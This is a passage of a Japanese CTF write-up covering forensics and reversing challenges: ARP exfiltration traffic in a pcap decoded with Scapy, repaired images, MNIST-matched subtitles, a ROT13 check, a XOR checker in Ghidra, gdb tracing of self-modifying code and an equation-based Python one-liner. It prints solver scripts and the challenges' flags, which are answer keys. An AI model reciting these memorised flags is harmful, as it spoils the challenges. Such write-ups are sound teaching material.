aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo=Base64デコードするとフラグが得られた。

ictf{onions_have_layers_images_have_layers}

[Forensics 119] tARP (69 solves)

pcapngファイルが与えられる。Wiresharkで開いて「統計」→「プロトコル階層」を選択すると、以下のようにQUICとARPがやたらと多いことがわかる。

ARPのパケットは以下のような感じ。途中から 114.111.111.116, 58.120.58.48, 58.48.58.114, … といった(怪しげな)IPアドレスの解決を要求している。各オクテットを文字コードとして見てみると root:x:0:0:r… という感じで、データの抽出にARPを使っていそうな雰囲気が出ている。

Scapyでどんなデータが抽出されたか見てみる。スクリプトを書く。

from scapy.all import *

res = b''
for pkt in PcapReader('tarp.pcapng'):
    if ARP not in pkt:
        continue
    if pkt.src != 'f6:6b:50:99:aa:10' or pkt.dst != '00:00:00:00:00:00':
        continue
    arp = pkt[ARP]
    res += bytes(arp)[-4:]

with open('res.bin', 'wb') as f:
    f.write(res)

出力されたデータをバイナリエディタで眺めていると、PNGシグネチャがあった。

PNG部分を切り出して見てみると、フラグが表示された。

ictf{h1dd3n_1n_th3_n3twork_layer_1b21e349}

[Forensics 172] bsv (64 solves)

flag.bsv なる謎のテキストファイルが与えられる。これは独自フォーマットで、問題文によれば "BSV, for BEE-separated-values" とのこと。開いてみると BEEAccordingBEEtoBEEallBEEknownBEE BEE BEElawsBEEof… というような感じで、たしかに BEE 区切りになっていそう。

BEE, に置換してCSVに変換する。Excelで開くとうっすらとフラグが見える。

各セルを正方形にし、条件付き書式で空白でないセルの背景を黒にする。これで読みやすくなった。

ICTF{BUZZ_BUZZ_B2F13A}

[Forensics 212] improbus (60 solves)

corrupted.png というぶっ壊れたPNGが与えられる。89 とか AC とか、0x80以上のバイトの直前になにかゴミがついている気がする。C2, C3UTF-8だこれ。

PythonUTF-8としてデコードする。

>>> s = open('corrupted.png','rb').read().decode('utf-8')
>>> open('result.png','wb').write(bytes(ord(x) for x in s))

出力された result.png を開くと、フラグが表示された。

ictf{fixed!_3f5ce751}

[Forensics 423] Subtitles (31 solves)

謎の動画とsrtファイルが与えられる。再生してみると、以下のような感じで数字が表示されつつ、字幕でも教えてくれる。

が、たまに字幕が間違っている。

1fpsなので ffmpeg -i subtitles.mp4 -r 1 frames/image_%04d.png で全フレームを書き出せる。なんとかして写っている数字と字幕が一致していないフレームを特定したい。

写っている手書きの数字はどうみてもMNISTなので、カンニングができる。訓練データとかテストデータとかお構いなしによく似ている画像を探して、そのラベルを参照する。もし字幕と食い違っていれば、字幕の方を出力するようなスクリプトを書く。

import tensorflow as tf
import numpy as np
from PIL import Image

mnist = tf.keras.datasets.mnist
ims = np.asarray([np.asarray(Image.open(f'frames/image_{i:04}.png').convert('L')) for i in range(1, 848)])

(X_train, y_train),(X_test, y_test) = mnist.load_data()
X = np.concatenate([X_train, X_test])
Y = np.concatenate([y_train, y_test])

def find_similar_image(im):
    res, mim, md = None, None, 999999999.0
    for x, y in zip(X, Y):
        d = np.linalg.norm(x - im)
        if d < md:
            res, mim, md = y, x, d
    return str(res), mim, md

with open('subtitles.srt', 'r') as f:
    srt = f.read()
srt = srt.splitlines()[2::4]

res = ''

for j, (i, s) in enumerate(zip(ims, srt)):
    r, i2, _ = find_similar_image(i)
    if r != s:
        print(f'[{j}]', r, s)

実行すると、以下のように出力された。18~20フレーム目、40~41フレーム目、63~65フレーム目、86~88フレーム目といったように間違えるときは連続して間違えているようだ。それぞれ字幕で表示されている数字をつなげてみると 105, 99, 116, 102 となる。文字コードとして考えると ictf で…フラグだこれ。

$ python3 a.py
[18] 4 1
[19] 6 0
[20] 7 5
[40] 2 9
[41] 2 9
[63] 0 1
[64] 5 1
[65] 5 6
[86] 0 1
[87] 1 0
[88] 5 2
…

先程の最後のスクリプトres = '' 以降を以下のように書き換える。

res, tmp = '', ''
for i, s in zip(ims, srt):
    r, i2, _ = find_similar_image(i)
    if r != s:
        tmp += s
    elif tmp != '':
        res += chr(int(tmp))
        tmp = ''
        print(res)

実行するとフラグが得られた。

$ python3 solve.py
i
ic
ict
ictf
ictf{
…
ictf{i_hope_you_didnt_do_this_by_hand}
ictf{i_hope_you_didnt_do_this_by_hand}

[Reversing 100] desrever (429 solves)

Pythonのコードが与えられる。以下のような感じ。

#!/usr/bin/env python3

cexe = exec
cexe(')]"}0p381o91_flnj_3ycvgyhz_av_tavferire{sgpv"==)]pni ni _ rof _ esle "9876543210_}{" ni ton _ fi ]_[d.siht[(nioj.""[)"tcerroc","gnorw"((tnirp;)" >>>"(tupni=pni;)"?galf eht si tahW"(tnirp;siht tropmi'[::-1])

exec で実行されているコードを見てみるthis.dROT13のテーブルだ。

import this;print("What is the flag?");inp=input(">>> ");print(("wrong","correct")["".join([this.d[_] if _ not in "{}_0123456789" else _ for _ in inp])=="vpgs{erirefvat_va_zhygvcy3_jnlf_19o183p0}"])

{} が含まれるフラグっぽい文字列をROT13すればよい。

ictf{reversing_in_multipl3_ways_19b183c0}

[Reversing 100] hidden (129 solves)

x86_64のELFが与えられる。Ghidraデコンパイルすると、main で以下のような処理があった。func_0x00101140 の返り値いかんで correct を出力するか wrong を出力するかが変わるらしい。

  iVar2 = func_0x00101140(local_228,"jctf{n0t_the_real_flag?_or_is_it?}\n");
  if (iVar2 == 0) {
    FUN_001010f0("correct");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  FUN_001010f0("wrong!");

その中身は以下のような感じ。単純なXORだ。

void FUN_00101100(undefined8 param_1,ulong *param_2)

{
  ulong *puVar1;
  ulong uVar2;
  ulong *puVar3;
  long lVar4;
  ulong auStack40 [5];
  
  syscall();
  auStack40[4] = 0x910a96fdf83deb08;
  auStack40[3] = 0x435e9c9331495b55;
  puVar3 = auStack40 + 2;
  auStack40[2] = 0x7870148bf499d6f9;
  lVar4 = 0;
  uVar2 = 0x39e324b32f573c94;
  puVar1 = auStack40 + 2;
  do {
    uVar2 = uVar2 * uVar2 ^ *param_2;
    *(undefined8 *)((long)puVar1 + -8) = 0xa216c696166;
    if (uVar2 != *puVar3) {
LAB_00101177:
      syscall();
      syscall();
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    lVar4 = lVar4 + 1;
    if (lVar4 == 3) {
      *(undefined8 *)((long)puVar1 + -0x10) = 0xa74636572726f63;
      goto LAB_00101177;
    }
    param_2 = param_2 + 1;
    puVar3 = puVar3 + 1;
    puVar1 = (ulong *)((long)puVar1 + -8);
  } while( true );
}

ソルバを書く。

import binascii
a = [
    0x7870148bf499d6f9,
    0x435e9c9331495b55,
    0x910a96fdf83deb08
]
tmp = 0x39e324b32f573c94
for x in a:
    res = (x ^ (tmp * tmp)) & 0xffffffffffffffff
    print(binascii.unhexlify(hex(res)[2:].zfill(2 * 8))[::-1].decode(), end='')
    tmp = x

print()

実行するとフラグが得られた。

$ python3 solve.py 
ictf{h1ddenc0de_1a29d3}
ictf{h1ddenc0de_1a29d3}

[Reversing 100] polymorphic (71 solves)

x86_64のELFが与えられる。入力した文字列がフラグであるかどうかチェックしてくれる。Ghidraに投げてデコンパイルしてみても、まともなコードが出てこない。アセンブリの方を見てみると、XORで実行可能な領域を書き換えている。自己書き換えコードだ。

gdbで追っていく。実行されている命令をダンプするgdb用のスクリプトを書く。フラグの入力を求める read を呼び出す syscall の直後にブレークポイントを置き、その後にどうやって正解の文字であるかをチェックしているか確認したい。

# gdb -n -q -x dump.py ./polymorphic
import gdb
import sys

gdb.execute('set pagination off')
gdb.execute('set disassembly-flavor intel')
gdb.execute('b *(_start+112)', to_string=True) # after syscall

with open('input', 'w') as f:
    f.write('ictf{test}')
gdb.execute('r < input', to_string=True)

while True:
    try:
        ins = gdb.execute('x/i $rip', to_string=True)
    except:
        gdb.execute('quit')
        sys.exit(0)

    print('[ins]', ins)
    gdb.execute('stepi', to_string=True)

実行する。mov al,BYTE PTR [rsp]mov al,BYTE PTR [rsp+0x1] あたりがフラグの文字を取り出している処理になる。al から 0x600x9sub で引いた後に、xor BYTE PTR [rip+0x7],al でその後に実行される命令を書き換えている。もし不正解であれば正しくない命令が実行され、Segmentation faultが起きるというわけだ。これがずっと繰り返される。

$ gdb -n -q -x dump.py ./polymorphic  | grep ins
[ins] => 0x401070 <_start+112>: xor    DWORD PTR [rip+0x0],0xdf1484ed        # 0x40107a <_start+122>
[ins] => 0x40107a <_start+122>: mov    al,BYTE PTR [rsp]
[ins] => 0x40107d <_start+125>: nop
[ins] => 0x40107e <_start+126>: xor    DWORD PTR [rip+0x0],0x9150e364        # 0x401088 <_start+136>
[ins] => 0x401088 <_start+136>: sub    al,0x60
[ins] => 0x40108a <_start+138>: nop
[ins] => 0x40108b <_start+139>: nop
[ins] => 0x40108c <_start+140>: xor    DWORD PTR [rip+0x0],0x59608a64        # 0x401096 <_start+150>
[ins] => 0x401096 <_start+150>: sub    al,0x9
[ins] => 0x401098 <_start+152>: nop
[ins] => 0x401099 <_start+153>: nop
[ins] => 0x40109a <_start+154>: xor    DWORD PTR [rip+0xa],0x25338878        # 0x4010ae <_start+174>
[ins] => 0x4010a4 <_start+164>: xor    DWORD PTR [rip+0x4],0x40a062b5        # 0x4010b2 <_start+178>
[ins] => 0x4010ae <_start+174>: xor    BYTE PTR [rip+0x7],al        # 0x4010bb <_start+187>
[ins] => 0x4010b4 <_start+180>: nop
[ins] => 0x4010b5 <_start+181>: nop
[ins] => 0x4010b6 <_start+182>: xor    DWORD PTR [rip+0xa],0x2410c9c2        # 0x4010ca <_start+202>
[ins] => 0x4010c0 <_start+192>: xor    DWORD PTR [rip+0x4],0x27208def        # 0x4010ce <_start+206>

[ins] => 0x4010ca <_start+202>: mov    al,BYTE PTR [rsp+0x1]
[ins] => 0x4010ce <_start+206>: nop
[ins] => 0x4010cf <_start+207>: nop
[ins] => 0x4010d0 <_start+208>: nop
[ins] => 0x4010d1 <_start+209>: nop
[ins] => 0x4010d2 <_start+210>: xor    DWORD PTR [rip+0x0],0x4660e364        # 0x4010dc <_start+220>
[ins] => 0x4010dc <_start+220>: sub    al,0x60
[ins] => 0x4010de <_start+222>: nop
[ins] => 0x4010df <_start+223>: nop
[ins] => 0x4010e0 <_start+224>: xor    DWORD PTR [rip+0x0],0xd9788064        # 0x4010ea <_start+234>
[ins] => 0x4010ea <_start+234>: sub    al,0x3
[ins] => 0x4010ec <_start+236>: nop
[ins] => 0x4010ed <_start+237>: nop
[ins] => 0x4010ee <_start+238>: xor    DWORD PTR [rip+0xa],0x25338878        # 0x401102 <_start+258>
[ins] => 0x4010f8 <_start+248>: xor    DWORD PTR [rip+0x4],0x56c9e86        # 0x401106 <_start+262>
[ins] => 0x401102 <_start+258>: xor    BYTE PTR [rip+0x7],al        # 0x40110f <_start+271>
[ins] => 0x401108 <_start+264>: nop
[ins] => 0x401109 <_start+265>: nop
[ins] => 0x40110a <_start+266>: xor    DWORD PTR [rip+0xa],0x2710c9c2        # 0x40111e <_start+286>
[ins] => 0x401114 <_start+276>: xor    DWORD PTR [rip+0x4],0x99c95815        # 0x401122 <_start+290>

[ins] => 0x40111e <_start+286>: mov    al,BYTE PTR [rsp+0x2]
[ins] => 0x401122 <_start+290>: nop
[ins] => 0x401123 <_start+291>: nop
[ins] => 0x401124 <_start+292>: nop
[ins] => 0x401125 <_start+293>: nop
[ins] => 0x401126 <_start+294>: xor    DWORD PTR [rip+0x0],0xb060e364        # 0x401130 <_start+304>
[ins] => 0x401130 <_start+304>: sub    al,0x60
[ins] => 0x401132 <_start+306>: nop
[ins] => 0x401133 <_start+307>: nop
[ins] => 0x401134 <_start+308>: xor    DWORD PTR [rip+0x0],0x97789764        # 0x40113e <_start+318>
[ins] => 0x40113e <_start+318>: sub    al,0x14
[ins] => 0x401140 <_start+320>: nop
[ins] => 0x401141 <_start+321>: nop
[ins] => 0x401142 <_start+322>: xor    DWORD PTR [rip+0xa],0x25338878        # 0x401156 <_start+342>
[ins] => 0x40114c <_start+332>: xor    DWORD PTR [rip+0x4],0x97d0ab29        # 0x40115a <_start+346>
[ins] => 0x401156 <_start+342>: xor    BYTE PTR [rip+0x7],al        # 0x401163 <_start+355>
[ins] => 0x40115c <_start+348>: nop
[ins] => 0x40115d <_start+349>: nop
[ins] => 0x40115e <_start+350>: xor    DWORD PTR [rip+0xa],0x2610c9c2        # 0x401172 <_start+370>
[ins] => 0x401168 <_start+360>: xor    DWORD PTR [rip+0x4],0x9ce5b67c        # 0x401176 <_start+374>
…
[ins] => 0x40121a <_start+538>: mov    al,BYTE PTR [rsp+0x5]
[ins] => 0x40121e <_start+542>: nop
[ins] => 0x40121f <_start+543>: nop
[ins] => 0x401220 <_start+544>: nop
[ins] => 0x401221 <_start+545>: nop
[ins] => 0x401222 <_start+546>: xor    DWORD PTR [rip+0x0],0x7b50e364        # 0x40122c <_start+556>
[ins] => 0x40122c <_start+556>: sub    al,0x60
[ins] => 0x40122e <_start+558>: nop
[ins] => 0x40122f <_start+559>: nop
[ins] => 0x401230 <_start+560>: xor    DWORD PTR [rip+0x0],0x20a0844b        # 0x40123a <_start+570>
[ins] => 0x40123a <_start+570>: sub    al,0x4
[ins] => 0x40123c <_start+572>: nop
[ins] => 0x40123d <_start+573>: nop
[ins] => 0x40123e <_start+574>: xor    DWORD PTR [rip+0xa],0x25338878        # 0x401252 <_start+594>
[ins] => 0x401248 <_start+584>: xor    DWORD PTR [rip+0x4],0x8ed52602        # 0x401256 <_start+598>
[ins] => 0x401252 <_start+594>: xor    BYTE PTR [rip+0x7],al        # 0x40125f <_start+607>
[ins] => 0x401258 <_start+600>: nop
[ins] => 0x401259 <_start+601>: nop
[ins] => 0x40125a <_start+602>: xor    DWORD PTR [rip+0x1000000a],0x2310c9c2        # 0x1040126e
[ins] => 0x40125a <_start+602>: xor    DWORD PTR [rip+0x1000000a],0x2310c9c2        # 0x1040126e

これでやることはわかった。mov al,BYTE PTR [rsp+xxx] から xor BYTE PTR [rip+xxx],al までをひとつのまとまりとして、sub で引かれている数値から正解の文字を取り出す雑なソルバを書く。

# gdb -n -q -x solve.py ./polymorphic
import gdb
import sys

gdb.execute('set pagination off')
gdb.execute('set disassembly-flavor intel')
gdb.execute('b *(_start+112)', to_string=True)

res = ''
i = len(res)
while True:
    with open('input', 'w') as f:
        f.write(res)
    gdb.execute('r < input', to_string=True)

    tmp = 0
    idx = None
    while True:
        try:
            ins = gdb.execute('x/i $rip', to_string=True)
        except:
            gdb.execute('quit')
            sys.exit(0)

        print('[ins]', repr(ins))
        if 'mov    al,BYTE PTR [rsp' in ins:
            if 'mov    al,BYTE PTR [rsp]' in ins:
                idx = 0
            else:
                idx = int(ins.split('+')[2].split(']')[0], 16)
        elif 'sub    al,' in ins and idx == i:
            x = int(ins.split(',')[1], 16)
            tmp -= x
        elif 'xor    BYTE PTR [rip' in ins and ',al' in ins and idx == i:
            res += chr(-tmp%256)
            i += 1
            print('[res]', res)
            break
        gdb.execute('stepi', to_string=True)

実行するとフラグが得られた。

$ gdb -n -q -x solve.py ./polymorphic | grep res
[res] i
[res] ic
[res] ict
[res] ictf
[res] ictf{
…
[res] ictf{dynam1c_d3bugg1ng_1s_n1ce}

これ面白かった。好き。

[Reversing 454] One Liner: Revenge (24 solves)

次のようなめちゃくちゃ長いPythonコードが与えられる。

[globals().__setitem__(chr(0x67),globals()),g.__setitem__(chr(0x74),lambda*a:bytes.fromhex('{:x}'.format(a[0])).decode()),g.__setitem__(t(103),type('',(dict,),{t(6872320826472685407):lambda*a:{**{_:getattr(a[0],t(115298706365414908258770783))(*[(i%8if type(i)is(1).__class__ else i)for(i)in _[::-1]])for(_)in a[1:]},a.__reduce__:a[0]}.popitem()[len(a)%2*2-1],t(115298485004486023744151391):lambda*a:dict.__getitem__(*[(i%8if type(i)is(4).__class__ else i)for(i)in a])})()),[g((lambda*a:(print(*a),exit()),13463))((type('',([].__class__,),{t(6872326324148002655):lambda*a:1,t(6872320826472685407):lambda*a:g(([a[0].insert(0,list.pop(a[0])),a[0]][1][a[-1]],14701)),t(107135549927012):lambda*a:[list.append(a[0],_)for(_)in a[1:]],t(7368560):lambda*a:(list.pop(a[0]),a[0].reverse())[0]})(),10397))[14413].append(*[g()[11677],*[lambda*a:g[11975](t(28271))]*15]),g((open(t(540221431545043700576377)).read(),14122)),g()[11391]][any(any(_ in t(2524869067539096330)for(_)in(i))for(i)in open(t(241425488694318497730177+298795942850725202846200)))+1]((t(28271),t(1654445085483638585692+382008194344550889925))),[g((g((lambda*a:int(''.join(str(1*i)for(i)in(a)),2),12614))[15301].__getattribute__(t(1759314143624509480799))(),13195))[9923].append(*(lambda*a:(51*a[10]+56*a[0]+12*a[14]+91*a[3]+9*a[14]==96*a[19]+96*a[9]+83*a[1]+91*a[1]+43*a[22]-11543,88*a[7]+51*a[7]+27*a[9]+77*a[1]+45*a[4]==53*a[15]+6*a[22]+92*a[5]+15*a[9]+86*a[22]+7184,63*a[3]+76*a[0]+93*a[5]+64*a[3]+17*a[6]==74*a[23]+30*a[11]+21*a[9]+63*a[8]+66*a[23]+405,33*a[14]+47*a[14]+10*a[7]+97*a[18]+86*a[10]==85*a[16]+92*a[13]+45*a[19]+68*a[23]+15*a[2]-9791),lambda*a:(67*a[8]+13*a[13]+16*a[3]+17*a[20]+44*a[9]==36*a[22]+38*a[15]+72*a[23]+89*a[19]+43*a[17]-13909,36*a[19]+8*a[5]+43*a[23]+73*a[23]+78*a[3]==31*a[0]+15*a[22]+66*a[12]+48*a[21]+5*a[12]+9943,23*a[19]+68*a[23]+10*a[8]+59*a[17]+34*a[1]==20*a[18]+55*a[1]+20*a[17]+32*a[6]+39*a[2]+3539,5*a[0]+69*a[10]+25*a[18]+61*a[17]+97*a[14]==64*a[18]+29*a[18]+39*a[10]+93*a[0]+23*a[15]-5075),lambda*a:(2*a[20]+47*a[0]+80*a[16]+37*a[4]+60*a[15]==29*a[13]+21*a[11]+4*a[23]+83*a[9]+55*a[16]+10561,28*a[4]+42*a[16]+39*a[16]+3*a[20]+63*a[1]==11*a[10]+31*a[19]+9*a[19]+30*a[8]+74*a[16]+2148,78*a[21]+4*a[15]+62*a[18]+84*a[7]+96*a[16]==24*a[7]+23*a[14]+94*a[3]+46*a[2]+67*a[17]+7330,74*a[12]+66*a[0]+92*a[2]+73*a[16]+62*a[10]==18*a[2]+28*a[3]+40*a[17]+60*a[21]+54*a[17]+19097),lambda*a:(49*a[21]+62*a[12]+39*a[19]+6*a[2]+33*a[18]==65*a[14]+40*a[11]+51*a[3]+38*a[14]+61*a[17]+1787,72*a[2]+41*a[9]+17*a[2]+94*a[17]+64*a[6]==53*a[8]+69*a[7]+30*a[9]+27*a[3]+17*a[0]+13621,76*a[20]+52*a[6]+42*a[12]+32*a[21]+15*a[4]==93*a[16]+45*a[10]+76*a[15]+30*a[8]+97*a[14]-8576,49*a[13]+5*a[16]+66*a[22]+6*a[0]+15*a[4]==58*a[19]+78*a[15]+41*a[2]+3*a[15]+41*a[21]-14144),lambda*a:(81*a[7]+15*a[6]+83*a[21]+51*a[10]+25*a[15]==78*a[16]+36*a[18]+89*a[8]+74*a[9]+28*a[15]-5576,22*a[12]+69*a[7]+43*a[14]+22*a[20]+88*a[20]==92*a[6]+40*a[10]+13*a[21]+93*a[4]+69*a[8]-14574,5*a[12]+55*a[15]+38*a[23]+79*a[18]+73*a[2]==7*a[6]+68*a[13]+46*a[19]+56*a[23]+84*a[15]-1064,63*a[5]+3*a[15]+54*a[11]+53*a[17]+39*a[22]==90*a[13]+58*a[7]+80*a[14]+43*a[20]+1*a[2]-9663),lambda*a:(33*a[4]+85*a[22]+88*a[19]+11*a[19]+65*a[3]==2*a[12]+83*a[15]+51*a[3]+53*a[2]+4*a[15]+2150,16*a[13]+6*a[21]+19*a[23]+49*a[21]+48*a[9]==96*a[4]+60*a[7]+73*a[11]+79*a[9]+67*a[13]-17330,32*a[22]+25*a[14]+36*a[12]+96*a[11]+74*a[7]==65*a[6]+97*a[11]+22*a[21]+82*a[6]+58*a[4]-15919,58*a[6]+91*a[6]+48*a[15]+60*a[21]+84*a[9]==81*a[14]+3*a[2]+3*a[15]+17*a[13]+28*a[19]+23080),lambda*a:(8*a[11]+13*a[23]+70*a[20]+4*a[14]+25*a[16]==47*a[13]+56*a[9]+14*a[16]+14*a[5]+47*a[19]-2509,56*a[16]+35*a[7]+71*a[15]+82*a[11]+43*a[18]==89*a[9]+5*a[20]+38*a[10]+16*a[17]+16*a[8]+13008,60*a[22]+16*a[2]+79*a[3]+5*a[22]+99*a[7]==22*a[20]+75*a[11]+31*a[6]+4*a[15]+53*a[3]+1557,22*a[12]+36*a[19]+84*a[16]+6*a[22]+44*a[15]==94*a[18]+46*a[0]+7*a[9]+16*a[13]+69*a[23]-5508),lambda*a:(15*a[14]+37*a[4]+89*a[19]+1*a[13]+40*a[21]==58*a[7]+84*a[2]+95*a[17]+88*a[7]+58*a[8]-13680,21*a[2]+72*a[16]+92*a[14]+29*a[8]+94*a[16]==60*a[13]+90*a[16]+64*a[17]+66*a[2]+45*a[2]-7275,85*a[4]+56*a[21]+39*a[20]+5*a[9]+86*a[21]==46*a[11]+85*a[2]+79*a[20]+84*a[11]+87*a[10]-3608,98*a[13]+9*a[0]+94*a[21]+81*a[0]+92*a[16]==18*a[16]+30*a[0]+18*a[9]+17*a[17]+9*a[18]+32955),lambda*a:(99*a[13]+17*a[8]+43*a[22]+35*a[15]+63*a[11]==75*a[15]+65*a[11]+44*a[17]+68*a[14]+71*a[6]-6000,96*a[15]+77*a[19]+70*a[22]+36*a[5]+40*a[12]==92*a[8]+78*a[21]+18*a[13]+27*a[19]+64*a[19]-2898,64*a[9]+94*a[17]+20*a[16]+57*a[6]+76*a[5]==57*a[2]+66*a[21]+82*a[0]+95*a[15]+70*a[19]-16423,35*a[1]+43*a[22]+7*a[21]+88*a[9]+72*a[11]==79*a[6]+66*a[17]+43*a[1]+80*a[6]+13*a[6]-16177),lambda*a:(15*a[14]+72*a[0]+60*a[2]+66*a[17]+57*a[14]==43*a[5]+79*a[2]+3*a[16]+17*a[1]+64*a[6]+4715,46*a[8]+93*a[3]+59*a[20]+15*a[14]+84*a[6]==49*a[18]+46*a[14]+41*a[6]+37*a[1]+98*a[13]+3571,50*a[20]+62*a[5]+24*a[1]+91*a[23]+59*a[16]==52*a[20]+37*a[5]+60*a[18]+59*a[18]+25*a[11]+6503,19*a[3]+96*a[19]+38*a[22]+34*a[5]+27*a[14]==61*a[21]+74*a[10]+1*a[10]+86*a[17]+62*a[21]-14623),lambda*a:(94*a[21]+46*a[8]+21*a[14]+46*a[0]+49*a[17]==81*a[8]+97*a[8]+82*a[4]+4*a[6]+67*a[8]-10410,65*a[1]+26*a[7]+14*a[23]+51*a[22]+20*a[4]==19*a[18]+87*a[16]+27*a[21]+57*a[10]+88*a[22]-10505,83*a[17]+89*a[21]+57*a[21]+19*a[19]+42*a[3]==12*a[8]+7*a[0]+83*a[9]+8*a[10]+79*a[5]+20536,30*a[19]+67*a[17]+10*a[1]+13*a[2]+47*a[1]==87*a[10]+95*a[11]+9*a[15]+41*a[3]+80*a[16]-11542),lambda*a:(98*a[4]+29*a[16]+91*a[16]+25*a[13]+94*a[20]==41*a[17]+63*a[3]+61*a[7]+28*a[10]+89*a[7]+17506,28*a[8]+90*a[16]+12*a[20]+65*a[6]+69*a[5]==87*a[11]+33*a[4]+20*a[6]+10*a[15]+23*a[7]+11861,52*a[11]+99*a[3]+62*a[17]+69*a[12]+36*a[11]==71*a[0]+25*a[15]+49*a[6]+56*a[8]+87*a[10]-3286,95*a[0]+24*a[2]+11*a[13]+40*a[3]+85*a[18]==37*a[9]+49*a[3]+15*a[2]+51*a[11]+71*a[6]+8832),lambda*a:(22*a[7]+92*a[13]+66*a[21]+16*a[3]+89*a[17]==45*a[22]+26*a[17]+88*a[18]+78*a[22]+29*a[11]+11656,53*a[3]+77*a[18]+61*a[23]+81*a[16]+30*a[15]==70*a[16]+89*a[22]+4*a[13]+23*a[15]+94*a[18]+9747,90*a[20]+70*a[10]+53*a[0]+26*a[5]+29*a[20]==73*a[6]+21*a[21]+6*a[23]+88*a[17]+43*a[1]+3403,62*a[3]+59*a[10]+88*a[0]+77*a[9]+37*a[5]==88*a[12]+81*a[9]+49*a[17]+81*a[16]+28*a[2]-2875),lambda*a:(22*a[7]+44*a[2]+18*a[6]+73*a[1]+51*a[4]==40*a[22]+97*a[13]+27*a[4]+70*a[23]+66*a[15]-10554,18*a[23]+76*a[20]+94*a[18]+1*a[0]+87*a[5]==90*a[17]+20*a[13]+86*a[2]+28*a[12]+89*a[0]-7968,14*a[17]+38*a[20]+4*a[2]+63*a[22]+54*a[6]==48*a[11]+69*a[6]+60*a[23]+35*a[6]+87*a[7]-11706,68*a[18]+78*a[7]+31*a[10]+45*a[9]+73*a[13]==23*a[23]+14*a[7]+91*a[12]+99*a[4]+8*a[8]-445),lambda*a:(50*a[17]+66*a[20]+19*a[20]+56*a[5]+22*a[7]==77*a[2]+76*a[18]+79*a[11]+87*a[0]+65*a[13]-19932,90*a[19]+11*a[17]+61*a[21]+27*a[8]+43*a[19]==11*a[0]+41*a[19]+4*a[5]+57*a[3]+54*a[15]+7163,24*a[2]+7*a[8]+81*a[23]+42*a[6]+30*a[20]==35*a[10]+4*a[14]+87*a[18]+88*a[5]+46*a[10]-1649,27*a[5]+34*a[12]+16*a[0]+39*a[7]+89*a[10]==58*a[17]+22*a[20]+6*a[14]+20*a[4]+1*a[14]+7194),lambda*a:(39*a[5]+95*a[16]+29*a[12]+35*a[20]+2*a[23]==52*a[11]+36*a[5]+72*a[20]+47*a[10]+27*a[20]-837,37*a[13]+78*a[1]+79*a[15]+73*a[22]+96*a[6]==51*a[18]+71*a[20]+79*a[2]+60*a[8]+32*a[14]+3156,95*a[17]+8*a[17]+35*a[8]+22*a[7]+89*a[15]==26*a[20]+50*a[2]+67*a[1]+70*a[10]+30*a[14]+1114,87*a[7]+56*a[10]+41*a[7]+22*a[3]+44*a[3]==81*a[6]+79*a[12]+40*a[22]+37*a[15]+66*a[12]-10364))),g((input(t(1044266528)).encode(),15553)),g[15623]][(t(26122)[1]in g()[11618])+1]((t(11058375319408232550098454217411120665270488946811366757),t(439956237345))),[g[14349](g()[15726](*g()[10963].pop()(*g()[(3).__class__(g[13890][138])])))for(i)in iter(g()[10987].__len__,0)],g[10839](t(7955827))]

どう見ても大事なのは次のような無名関数で、これが15個ある。よく見るとその返り値はタプルで、(a==b,c==d,e==f) みたいな感じですべての要素が bool になっている。全部 true になるような a を探そう。

lambda*a:(51*a[10]+56*a[0]+12*a[14]+91*a[3]+9*a[14]==96*a[19]+96*a[9]+83*a[1]+91*a[1]+43*a[22]-11543,88*a[7]+51*a[7]+27*a[9]+77*a[1]+45*a[4]==53*a[15]+6*a[22]+92*a[5]+15*a[9]+86*a[22]+7184,63*a[3]+76*a[0]+93*a[5]+64*a[3]+17*a[6]==74*a[23]+30*a[11]+21*a[9]+63*a[8]+66*a[23]+405,33*a[14]+47*a[14]+10*a[7]+97*a[18]+86*a[10]==85*a[16]+92*a[13]+45*a[19]+68*a[23]+15*a[2]-9791)

連立方程式を解けばよい。

import sympy
import numpy as np

a = [sympy.Symbol('flag_{}'.format(i)) for i in range(24)]

s = '''51*a[10]+56*a[0]+12*a[14]+91*a[3]+9*a[14]==96*a[19]+96*a[9]+83*a[1]+91*a[1]+43*a[22]-11543,88*a[7]+51*a[7]+27*a[9]+77*a[1]+45*a[4]==53*a[15]+6*a[22]+92*a[5]+15*a[9]+86*a[22]+7184,63*a[3]+76*a[0]+93*a[5]+64*a[3]+17*a[6]==74*a[23]+30*a[11]+21*a[9]+63*a[8]+66*a[23]+405,33*a[14]+47*a[14]+10*a[7]+97*a[18]+86*a[10]==85*a[16]+92*a[13]+45*a[19]+68*a[23]+15*a[2]-9791
67*a[8]+13*a[13]+16*a[3]+17*a[20]+44*a[9]==36*a[22]+38*a[15]+72*a[23]+89*a[19]+43*a[17]-13909,36*a[19]+8*a[5]+43*a[23]+73*a[23]+78*a[3]==31*a[0]+15*a[22]+66*a[12]+48*a[21]+5*a[12]+9943,23*a[19]+68*a[23]+10*a[8]+59*a[17]+34*a[1]==20*a[18]+55*a[1]+20*a[17]+32*a[6]+39*a[2]+3539,5*a[0]+69*a[10]+25*a[18]+61*a[17]+97*a[14]==64*a[18]+29*a[18]+39*a[10]+93*a[0]+23*a[15]-5075
2*a[20]+47*a[0]+80*a[16]+37*a[4]+60*a[15]==29*a[13]+21*a[11]+4*a[23]+83*a[9]+55*a[16]+10561,28*a[4]+42*a[16]+39*a[16]+3*a[20]+63*a[1]==11*a[10]+31*a[19]+9*a[19]+30*a[8]+74*a[16]+2148,78*a[21]+4*a[15]+62*a[18]+84*a[7]+96*a[16]==24*a[7]+23*a[14]+94*a[3]+46*a[2]+67*a[17]+7330,74*a[12]+66*a[0]+92*a[2]+73*a[16]+62*a[10]==18*a[2]+28*a[3]+40*a[17]+60*a[21]+54*a[17]+19097
49*a[21]+62*a[12]+39*a[19]+6*a[2]+33*a[18]==65*a[14]+40*a[11]+51*a[3]+38*a[14]+61*a[17]+1787,72*a[2]+41*a[9]+17*a[2]+94*a[17]+64*a[6]==53*a[8]+69*a[7]+30*a[9]+27*a[3]+17*a[0]+13621,76*a[20]+52*a[6]+42*a[12]+32*a[21]+15*a[4]==93*a[16]+45*a[10]+76*a[15]+30*a[8]+97*a[14]-8576,49*a[13]+5*a[16]+66*a[22]+6*a[0]+15*a[4]==58*a[19]+78*a[15]+41*a[2]+3*a[15]+41*a[21]-14144
